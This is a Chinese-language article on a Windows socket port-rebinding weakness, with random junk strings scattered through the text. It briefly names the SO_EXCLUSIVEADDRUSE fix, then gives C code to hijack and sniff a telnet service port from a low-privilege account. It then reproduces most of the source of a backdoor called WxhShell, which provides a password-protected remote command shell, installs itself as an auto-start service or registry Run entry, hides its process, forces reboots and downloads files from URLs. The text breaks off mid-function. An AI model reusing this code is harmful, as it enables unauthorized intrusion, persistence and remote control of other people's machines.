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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W.NZ%~|+e/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AJm$(3?/D 6tFi\,)E saddr.sin_family = AF_INET; ,J8n}7aI ^qnmKA>"F saddr.sin_addr.s_addr = htonl(INADDR_ANY); m7DKC, J\P6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G;$;$gM 'qvj[lpGr 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 K|YB)y _ OC@J*4. 这意味着什么?意味着可以进行如下的攻击: BlQX$s] ^Kg n:l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u~aRFQ: Qz3Z_V4k9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aL%E# |R1T;J<[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i[@13kr 2j}DI"|h 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 1[T7;i$ [q_+s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 UKQ"sC a6-.|tt#t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 r0 )ne|&Hp 1Dl6T\20 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f:-l}Zj Zskj?+1 #include -58q6yA #include ;0Pv49q #include nQoQNB #include NB4O,w DWORD WINAPI ClientThread(LPVOID lpParam); kw@^4n+M int main() (
*Xn"o { A4cOnG,
WORD wVersionRequested; HA*L*:0 DWORD ret; ,T`,OZm WSADATA wsaData; 6tndC
o; ` BOOL val; ,|B-Nq SOCKADDR_IN saddr; t`&x.o SOCKADDR_IN scaddr; 8lL|j int err; tKeTHj;jO SOCKET s; B+snHabS6 SOCKET sc; !TJ,:c]4{! int caddsize; {*AA]z?zo HANDLE mt; 7oWMjw\ DWORD tid; Hddc-7s wVersionRequested = MAKEWORD( 2, 2 ); kQ}n~Hn err = WSAStartup( wVersionRequested, &wsaData ); 94?WL if ( err != 0 ) { c%J6!\ printf("error!WSAStartup failed!\n"); JD~;.3$/k return -1; )muNfs m } "GZieI
D saddr.sin_family = AF_INET; !~Uj 'w uTxa5j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *Ud(HMTe P0jr>j@^- saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); yB2h/~+ saddr.sin_port = htons(23); p.SipQ.P if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;,C]WZ.w { 0n}13u=} printf("error!socket failed!\n"); U~N7\Pa4 return -1; <"J]u@| } dy&UF,l6 val = TRUE; 7l=;I % //SO_REUSEADDR选项就是可以实现端口重绑定的 [/UchU]DT if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w{6C4~0 { Wc[,kc printf("error!setsockopt failed!\n"); a/,>fv9;$ return -1; akxNT_ } Y8\P"qb //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /,I cs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .mt%8GM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 A913*O:\ {K]5[bMT if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6t6Z&0$h~ { |4Q*4s ret=GetLastError(); 9)ALJd,M printf("error!bind failed!\n"); )ODF6Ag return -1; ]~KLdgru_ } _XV%}Xb' listen(s,2); vRmn61 while(1) jdP)y]c { XiE`_%NW caddsize = sizeof(scaddr); t>I.1AS //接受连接请求 iqQT ^
sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); G
@..?> if(sc!=INVALID_SOCKET) $/++afim { _`|1B$@x mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); '6#G$ if(mt==NULL) (~=.[Y { En?V\|, printf("Thread Creat Failed!\n"); xzm]v9k& break; z%%O-1 } W]9*dabem } jO-?t9^ CloseHandle(mt); @h%V:c } 4VWk/HK-! closesocket(s); mm-s?+&M; WSACleanup(); ZgP%sF return 0; G^~[|a4` } Xv8-<Ks DWORD WINAPI ClientThread(LPVOID lpParam) L>1hiD& { xc:E>- SOCKET ss = (SOCKET)lpParam; PgWWa*Ew SOCKET sc; 9CY{}g unsigned char buf[4096]; =_7wd*, SOCKADDR_IN saddr; $*fJKR_N long num; <W80A J DWORD val; pk/#RUfT+ DWORD ret; H\67Pd(Z6 //如果是隐藏端口应用的话,可以在此处加一些判断 Az`Aa0h]7 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 <(L@@.87R saddr.sin_family = AF_INET; Y%s:oHt saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1i y$ n saddr.sin_port = htons(23); F4EAC|Y if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7K1-.uQ { mL{P4a 1xf printf("error!socket failed!\n"); `Y#At3{ return -1;
l_vGp } z8Q!~NN-K val = 100; C82_)@96 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `@~e<s`j { Y'iX
ret = GetLastError(); ,,'jyqD return -1; H}^ ' } <v_=k],W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UN]gn>~j { SS=<\q#MS ret = GetLastError(); >cu%C s=m return -1; KP&+fDa } ,ks2&e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,=:K&5mCv { ]pax,|+$C printf("error!socket connect failed!\n"); z%;plMj closesocket(sc); iC
gZ3M] closesocket(ss); :Ha/^cC/3 return -1; LKIMT } =3e7n2N) while(1) "O&93#8 { 3S0.sU~_U //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 U0~_'&Fe //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?+yr7_f3* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {"y/;x/ num = recv(ss,buf,4096,0); _R4}\3}! if(num>0) 9%!h/m>rW send(sc,buf,num,0); $)i`!7`4= else if(num==0) c/;;zc break; b_0THy.Z num = recv(sc,buf,4096,0); 9wgB JJl7 if(num>0) [{znwK@ send(ss,buf,num,0); iNO>'7s7 else if(num==0) 37#&:[w> break; _C?j\Wy } LW %AZkAx closesocket(ss); :QE5 7. closesocket(sc); {%V(Dd[B6 return 0 ; |VBt:dd< } Yh":>~k?SY {ZJO5* 9BCW2@Kp ========================================================== =kjKK >rSjP1-F 下边附上一个代码,,WXhSHELL bjZJP\6 067c/c ========================================================== z5+Pi:1w +HK4sA2; #include "stdafx.h" a~$XD(w^ Q#bW"},^k #include <stdio.h> 9mF' #include <string.h> $*Ucfw1T #include <windows.h> /F*Y~>*% 1 #include <winsock2.h> h [TwaR #include <winsvc.h> ewZ?+G+m #include <urlmon.h> 2w?q7N% 44]s`QyG #pragma comment (lib, "Ws2_32.lib") |.<_$[v[x #pragma comment (lib, "urlmon.lib") p~pD`'% ]g_VPx" #define MAX_USER 100 // 最大客户端连接数 6#=jF[ #define BUF_SOCK 200 // sock buffer *Rgr4-eS #define KEY_BUFF 255 // 输入 buffer H|9t5
Lkt4F #define REBOOT 0 // 重启 LU1I
`E #define SHUTDOWN 1 // 关机 :ym?]EL4o SeX ]|?D #define DEF_PORT 5000 // 监听端口 #EzBB*kP
Dd3f@b[WX #define REG_LEN 16 // 注册表键长度 \Z-th,t #define SVC_LEN 80 // NT服务名长度 y7Po$ )8l 3uL
f0D // 从dll定义API F'bwXb** typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }K {1Bm@S typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iHa?b2=) typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _jWs(OmJ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E$d#4x 5E!C?dv(z // wxhshell配置信息 OgQdyU struct WSCFG { ]?9*Vr:P^ int ws_port; // 监听端口 e~r/!B5X char ws_passstr[REG_LEN]; // 口令 XJ18(Q|w' int ws_autoins; // 安装标记, 1=yes 0=no K$"#SZEi char ws_regname[REG_LEN]; // 注册表键名 UhxM85M;x char ws_svcname[REG_LEN]; // 服务名 MK&,2>m,A char ws_svcdisp[SVC_LEN]; // 服务显示名 u[>"_!T char ws_svcdesc[SVC_LEN]; // 服务描述信息 (jc@8@Wo. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <2$vo int ws_downexe; // 下载执行标记, 1=yes 0=no y Zafq"o char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" &Mh.PzO=b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SSK}'LQ ?=u?u
k<- }; )M0YX?5AR inP2y ?j // default Wxhshell configuration c[dSO(= struct WSCFG wscfg={DEF_PORT, gf|uZ9{ "xuhuanlingzhe", ~q$]iwwqT 1, [FFr}\}bY "Wxhshell", 0w?da~ "Wxhshell", M4^G3c< "WxhShell Service", q<3nAE$?= "Wrsky Windows CmdShell Service", CM6% g f3 "Please Input Your Password: ", !fh (k 1,
Q!X?P " http://www.wrsky.com/wxhshell.exe", OO:S2-]Y>e "Wxhshell.exe" uLhGp@Dx }; B8&q$QV q_M N // 消息定义模块 l;?:}\sI= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; pUIN`ya[[ char *msg_ws_prompt="\n\r? for help\n\r#>"; Q(|@&83]. char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; A8{jEJ=)P char *msg_ws_ext="\n\rExit."; yD\q4G char *msg_ws_end="\n\rQuit."; 1w,_D.1' char *msg_ws_boot="\n\rReboot..."; c<lp<{; char *msg_ws_poff="\n\rShutdown..."; /MZ<vnN7f char *msg_ws_down="\n\rSave to "; 2Q^q$@L i7x&[b char *msg_ws_err="\n\rErr!"; uEPp%&D.+ char *msg_ws_ok="\n\rOK!"; rQ*+
<`R} (i
"TF2U,< char ExeFile[MAX_PATH]; c%&,(NJ]K int nUser = 0; V!}I$JiJ HANDLE handles[MAX_USER]; Kb~nC6yJc int OsIsNt; Mz@{_*2 9~SPoR/_0 SERVICE_STATUS serviceStatus; _O`prX.:B0 SERVICE_STATUS_HANDLE hServiceStatusHandle; {X!vb ) CGQ} // 函数声明 P,v7twc0M int Install(void); r!r08yf int Uninstall(void); xfk
-Ezv int DownloadFile(char *sURL, SOCKET wsh); Yuv(4a<M% int Boot(int flag); D8A+`W? void HideProc(void); OC! {8MR int GetOsVer(void); xUJ(tG3 int Wxhshell(SOCKET wsl); (zhZ}C,VF void TalkWithClient(void *cs); vNO&0~ int CmdShell(SOCKET sock); 2&6D`{"P int StartFromService(void); TTf
j5 int StartWxhshell(LPSTR lpCmdLine); }m:paB"3 pb!2G/,.[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:~-: VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~OD6K`s3 ]LE,4[VxRz // 数据结构和表定义 "~r<ZG SERVICE_TABLE_ENTRY DispatchTable[] = t]xz7VQ { &3vm
@ {wscfg.ws_svcname, NTServiceMain}, hY)zKX_r {NULL, NULL} Q2CGC+ }; dXyMRGRUq 2&hv6Y1 // 自我安装 Y3~Uz#`SU int Install(void) r=j?0k '}] { LkbD='\= char svExeFile[MAX_PATH]; e=Ox~2S HKEY key; $tlBI:ay1 strcpy(svExeFile,ExeFile); V&zeC/xSq oodA&0{)d // 如果是win9x系统,修改注册表设为自启动 y-pdAkDh if(!OsIsNt) { :zW? O#aL- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 01(U)F\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [* xdILj RegCloseKey(key); 7F`\Gz_2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ar-Vu{` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FPc`J RegCloseKey(key); <IrhR,@M,L return 0; Z%~}*F}7X } ^B"LT>.[ } M$x,B#b } xQR/Xp!h else { ; _%zf5;' It*U"4lgi // 如果是NT以上系统,安装为系统服务 aB%.]bi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); s}zR@ !` if (schSCManager!=0) :3F[!y3b { ^EIuGz1@0 SC_HANDLE schService = CreateService 0fc;H}B* ( xI,3(A. schSCManager, @!;A^<{ka wscfg.ws_svcname, PqspoH
0OI wscfg.ws_svcdisp, oc?|" SERVICE_ALL_ACCESS, %_ew{ff| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 73qE!(
SERVICE_AUTO_START, QL0q/S1* SERVICE_ERROR_NORMAL, g?
vz\_ svExeFile, jV%
VN NULL, 4s{=/,f NULL, F=\
REq NULL, r1~W(r.x NULL, 'IU3Xu[-. NULL G}U <^]c ); `8ob Xb if (schService!=0) lhM5a
\ { S @[]znH CloseServiceHandle(schService); A6z2KVk CloseServiceHandle(schSCManager); S{llpp{E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fhi}x( strcat(svExeFile,wscfg.ws_svcname); ?0)K[Kd'Y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4(8c L?J`0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UDHOcb RegCloseKey(key); nw+t!C return 0; Sr+hB>{ } =1 Plu5 } vhMoCLb CloseServiceHandle(schSCManager); nscnG5'{+ } 5,xPB5pK } +B{u,xgg oVK?lQ~y return 1; +*OAClt+] } _J*l,]}S qt:B]#j@ // 自我卸载 OX,em Ti int Uninstall(void) %C%3c4+Oh { ",apO HKEY key; 0}GO$%l 7<LuL if(!OsIsNt) { YM#'+wl}` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Av.`'.b RegDeleteValue(key,wscfg.ws_regname); 1PVZGZxAgv RegCloseKey(key); 'qV lq5. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ts=D RegDeleteValue(key,wscfg.ws_regname); }:?*n:g5 RegCloseKey(key); DXJw)%G
w return 0; y/@Bhzc } U_jW5mgsG } Mn5(Kw?o2J } yR5XcPoKI else { vdXi'< \HxF?i " SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RZEq@q if (schSCManager!=0) zMepF]V { a|TUH+| SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |keU+De if (schService!=0) ?121 as}z { ,7$&gx>2& if(DeleteService(schService)!=0) { }S"gZ6 CloseServiceHandle(schService); Q>[{9bI4QP CloseServiceHandle(schSCManager); >'n[B return 0; AK
lra$ } Z/Wf CloseServiceHandle(schService); Wrbv<8}%c } ke@OG! M / CloseServiceHandle(schSCManager); _9-;35D_ } _W@sFv%sj } xTk6q*NvT^ [#wt3<d`) return 1; 3N]ushMO } b+Sj\3fX ql%K+4@ // 从指定url下载文件 i=5!taxu}E int DownloadFile(char *sURL, SOCKET wsh) krGIE}5 { `?T::&` HRESULT hr; 'RwfW|~6 char seps[]= "/"; Qraq{'3 char *token; yl*%P3m| char *file; aQH]hLvs char myURL[MAX_PATH]; A|Ft:_Y char myFILE[MAX_PATH]; ZYY`f/qi 37n2 #E strcpy(myURL,sURL); AW;xlY= g token=strtok(myURL,seps); Sc3{Y+g while(token!=NULL) 8\nka5 { 7E*0;sA# file=token; "z6p=B"?3 token=strtok(NULL,seps); D=LsoASVI } Ww~C[8q +dCR$<e9r GetCurrentDirectory(MAX_PATH,myFILE); bfUKh%!M strcat(myFILE, "\\"); j*?E~M.'1K strcat(myFILE, file); ?gu!P:lZS send(wsh,myFILE,strlen(myFILE),0); GQ85ykky send(wsh,"...",3,0); EId>%0s5 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y q/vym-O5 if(hr==S_OK) Gqq<-drR return 0; %/)z!}{ else A+Bq5mik return 1; EAh|$~X b L.Xby<Y } Q?.9BM1V +U'n|>t9 // 系统电源模块 vWW Q/^ int Boot(int flag) A[4HD!9= { F" G+/c/L HANDLE hToken; BGNZE{K4" TOKEN_PRIVILEGES tkp; !9qw o8g]ho if(OsIsNt) { H
O>3>v OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ("f~gz<< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R
{-M%n4w tkp.PrivilegeCount = 1; K7$Q. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p]e.E`'S AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); * W"Pv,: if(flag==REBOOT) { aA%x9\Y if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qU&v50n return 0; 3]\'Q} } J>hjIN else { e2xKo1?I if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )-6>!6hZ return 0; SXXO# } \HMuVg'Q } XThU+s9 else { ?!tO'}? if(flag==REBOOT) { lh\`9F: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) uI)z4Z return 0; +CQIm!Sp } Vs>e"czfm/ else { |+-b#Sa9 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Nog{w return 0; JBV
06T_4o } G]-\$>5R } .F/l$4CQ ieO w& return 1; FIJ]` } (h&=Na~ )
[)1 // win9x进程隐藏模块 SQ/}K8uZ void HideProc(void) G{+zKs}~ { gYpFF=7j<@ %~dn5t; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Oxi^&f||` if ( hKernel != NULL ) AAi4}
8+\ { gxDyCL$h3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9)F$){G]vs ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XU['lr&,W FreeLibrary(hKernel); ;F2"gTQS } r"7 !J[u .L)j
ql% return; eH;{Ln } 4{$ L]toP 43`Atw`\ // 获取操作系统版本 ;P8.U( int GetOsVer(void) YRaF@?^Gn { 2 I.Q-'@ OSVERSIONINFO winfo; C;Kq_/l winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f1\mE~#} GetVersionEx(&winfo); Mf9x=K9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pSx}:u^am return 1; |UQGZ else Fp+fZU return 0; |i(@1 l } 9]S;%:64 8[)"+IFN // 客户端句柄模块 9*a"^ int Wxhshell(SOCKET wsl) oC TSV { BS?rKtdm( SOCKET wsh; _:XX+3W7 struct sockaddr_in client; gp\o|igT DWORD myID; %pxHGO=)E GSGaYq while(nUser<MAX_USER) aqP"Y9l { s8*Q@0 int nSize=sizeof(client); aO
*][;0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7$kTeKiP if(wsh==INVALID_SOCKET) return 1; +W|VCz qwuA[QkPi handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); No'Th7=|S if(handles[nUser]==0) xy^z_` closesocket(wsh); wA";N=i= else xqj@T^y nUser++; E**Hu 9 } _dVA^m WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 69Q#UJ W>$mU&ew[ return 0; uF@DJX}> } !$0ozDmD e$-Y>Dd // 关闭 socket "2
qivJ void CloseIt(SOCKET wsh) F,xFeq$/{ { @(m?j1!M closesocket(wsh); ZY)&Fam} nUser--; )%I62<N,z ExitThread(0); 1[(/{CClB } \2[ qD(dAU // 客户端请求句柄 0w".o!2\U{ void TalkWithClient(void *cs) {G-y7y+E { iB*1Yy0DC tIW~Ng SOCKET wsh=(SOCKET)cs; j[$+hh3: char pwd[SVC_LEN]; Mir(
}E char cmd[KEY_BUFF]; <OGXKv@ char chr[1]; XNkZ^3mq int i,j; .#Lu/w' -M B|kIiL63
D while (nUser < MAX_USER) { q!) nSD r4pR[G._ if(wscfg.ws_passstr) { &bwI7cO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eq4Yc*|9 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M^y5 Dep //ZeroMemory(pwd,KEY_BUFF); 1v9#Fr Y i=0; <)$JA while(i<SVC_LEN) { q}p
(p( N z4s{a(Tsd // 设置超时 26-K:" fd_set FdRead; QqB9I-_ struct timeval TimeOut; M~*o =t FD_ZERO(&FdRead); Y#oY'S .;y FD_SET(wsh,&FdRead); wN$u^] TimeOut.tv_sec=8; NU%W9jQYS TimeOut.tv_usec=0; 4u]>$?X1_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %H7H0%qW if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]]V|]}<)m aq]bF%7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KiMEd373- pwd =chr[0]; &}b-aAt if(chr[0]==0xd || chr[0]==0xa) { g:[yA{Eh pwd=0; T3/Gl6f break; 0t0m?rVW } 8'VcaU7Nh i++; h~.z[ } PLQLGb4f_; R?J=5tO // 如果是非法用户,关闭 socket `>\>'V<& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Kfs|KIQ>= } VuA)Ye f>ilk Q` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0`kaT
?> send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K7]+. f *l8:%t\ while(1) { t|cTl/i
4 u\ }"l2 r ZeroMemory(cmd,KEY_BUFF); Xs$UpQo
~d&W;mef- // 自动支持客户端 telnet标准 ]t.6bb4 j=0; 8i?:aN[.1b while(j<KEY_BUFF) { ? VHOh9|AT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u*<knZ~ty cmd[j]=chr[0]; J+f*D+x1 if(chr[0]==0xa || chr[0]==0xd) { G>j4b}e cmd[j]=0; DBZ^n9 break; P(~vqo>! } f
_*F&-L j++; kPFqsq } ,I8[tiR"b bLyaJ%pa\/ // 下载文件 Wt9'-"c if(strstr(cmd,"http://")) { 7G
&I]> send(wsh,msg_ws_down,strlen(msg_ws_down),0); Huho|6ohH if(DownloadFile(cmd,wsh)) 629#t`W\ send(wsh,msg_ws_err,strlen(msg_ws_err),0); K|sx"u|? else sB%QqFRP send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vuNq7V*} } tF~D!t@ else { o_on/{qz
{_>}K switch(cmd[0]) { .WTar9e# 4{Af 3N // 帮助 qI5`:PH%n case '?': { ibQN
p Iz send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M}xyW"yp break; C *U,$8j|} } cP`[/5R // 安装 H+F># case 'i': { K}9 c$C4 if(Install()) geSH3I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }(Dt,F` else *_!}g
] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,p[9EW*8 break; {K42PmQL } ^*_|26 // 卸载 3.<E{E!F case 'r': { ctu`FQ if(Uninstall()) [W*Q~Wvp send(wsh,msg_ws_err,strlen(msg_ws_err),0); f,'9Bj.~ else 1_6oM/?' send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [mA\,ny9 break; 2(K@V6j$M } ,K~r':ht // 显示 wxhshell 所在路径 .GOF0puiM case 'p': { &ub0t9R char svExeFile[MAX_PATH]; @w5x;uB|%G strcpy(svExeFile,"\n\r"); ]U)Yg strcat(svExeFile,ExeFile); [7@9wa1v! send(wsh,svExeFile,strlen(svExeFile),0); bz\-%$^k break; )lDmYt7me } F*j0o
+B5 // 重启 Ee 15Y$1 case 'b': { |%c"Avc send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dE]yb|Ld if(Boot(REBOOT))
k;xIo(: send(wsh,msg_ws_err,strlen(msg_ws_err),0); x{#W84 else { k{-#2Qz closesocket(wsh); QeNN*@
='i ExitThread(0); 6Dz N.fz } yHjuT+/wM, break; \S[I:fw#& } kP,^c{ // 关机 Xjs`iK=w case 'd': { #f-pkeaeq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r`5svY if(Boot(SHUTDOWN)) 5tQZf'pHfd send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5><KTya?= else { l/g6Tv`w closesocket(wsh); .}ePm( ExitThread(0); )H|cri~D } c-q=Ct break; 8D6rShx = } G"D=ozr // 获取shell WI}cXXUKm0 case 's': { caXSt2|' CmdShell(wsh); &$8YW]1M closesocket(wsh); >N8*O3 ExitThread(0); \zx$]|AQ break; |cIv&\ x } 8c^Hfjr0 // 退出 ^< wn case 'x': { $BUm, send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L wP CloseIt(wsh); ['jr+gIfQ break; -0f,qNF } ZYo?b"6A // 离开 b>x03% case 'q': { R8C#DB send(wsh,msg_ws_end,strlen(msg_ws_end),0); ()o[(Hx+ph closesocket(wsh); TAp8x WSACleanup(); ]mT2a8`c.r exit(1); \_l4li break; dBNx2T}_0 } L5 Q^cY]p } jHQnD]Hr } j`:D BO&)\ P]%)c6Uh // 提示信息 %=`wN^3t2 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z[+Sb; } 7-A/2/G< } nR`)kORc >vKOG@I return; #bwGDF } HvLx A5?q&VS}p // shell模块句柄 2wwJ>iR` int CmdShell(SOCKET sock) O
8XHaVLg3 { CRs@x` 5ue STARTUPINFO si; l?)!^}Qc ZeroMemory(&si,sizeof(si)); @RXkj-,eC# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b!oj3|9 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9|NH5A"H. PROCESS_INFORMATION ProcessInfo; ?4cj"i char cmdline[]="cmd"; bZW dd6 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |qz&d=> return 0; {@ Z=b5/P } oe<DP7e 8e32NJ^k~ // 自身启动模式 X+kgx!u'y int StartFromService(void) 2Og<e| { ,#U[)}im typedef struct DPr~DO`b { RmRPR<vGW DWORD ExitStatus; $0XR<D DWORD PebBaseAddress; wDDNB1_E DWORD AffinityMask; NOFuX9/'w DWORD BasePriority; apZPHau6h ULONG UniqueProcessId; }inV)QQ ULONG InheritedFromUniqueProcessId; C`qE ,2. } PROCESS_BASIC_INFORMATION; %U6A"?To DIw9ov>k PROCNTQSIP NtQueryInformationProcess; y}1Pc* *-(8Z>9 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7#(0GZN9h% static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; se=;vp]3a X m3r)Bm'3 HANDLE hProcess; (7Ln~J* PROCESS_BASIC_INFORMATION pbi; pGd@%/]AO Z rv:uEl HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o 3JSh= if(NULL == hInst ) return 0; "h-ZwL _p^$.\k" g_pEnumProcessModules = 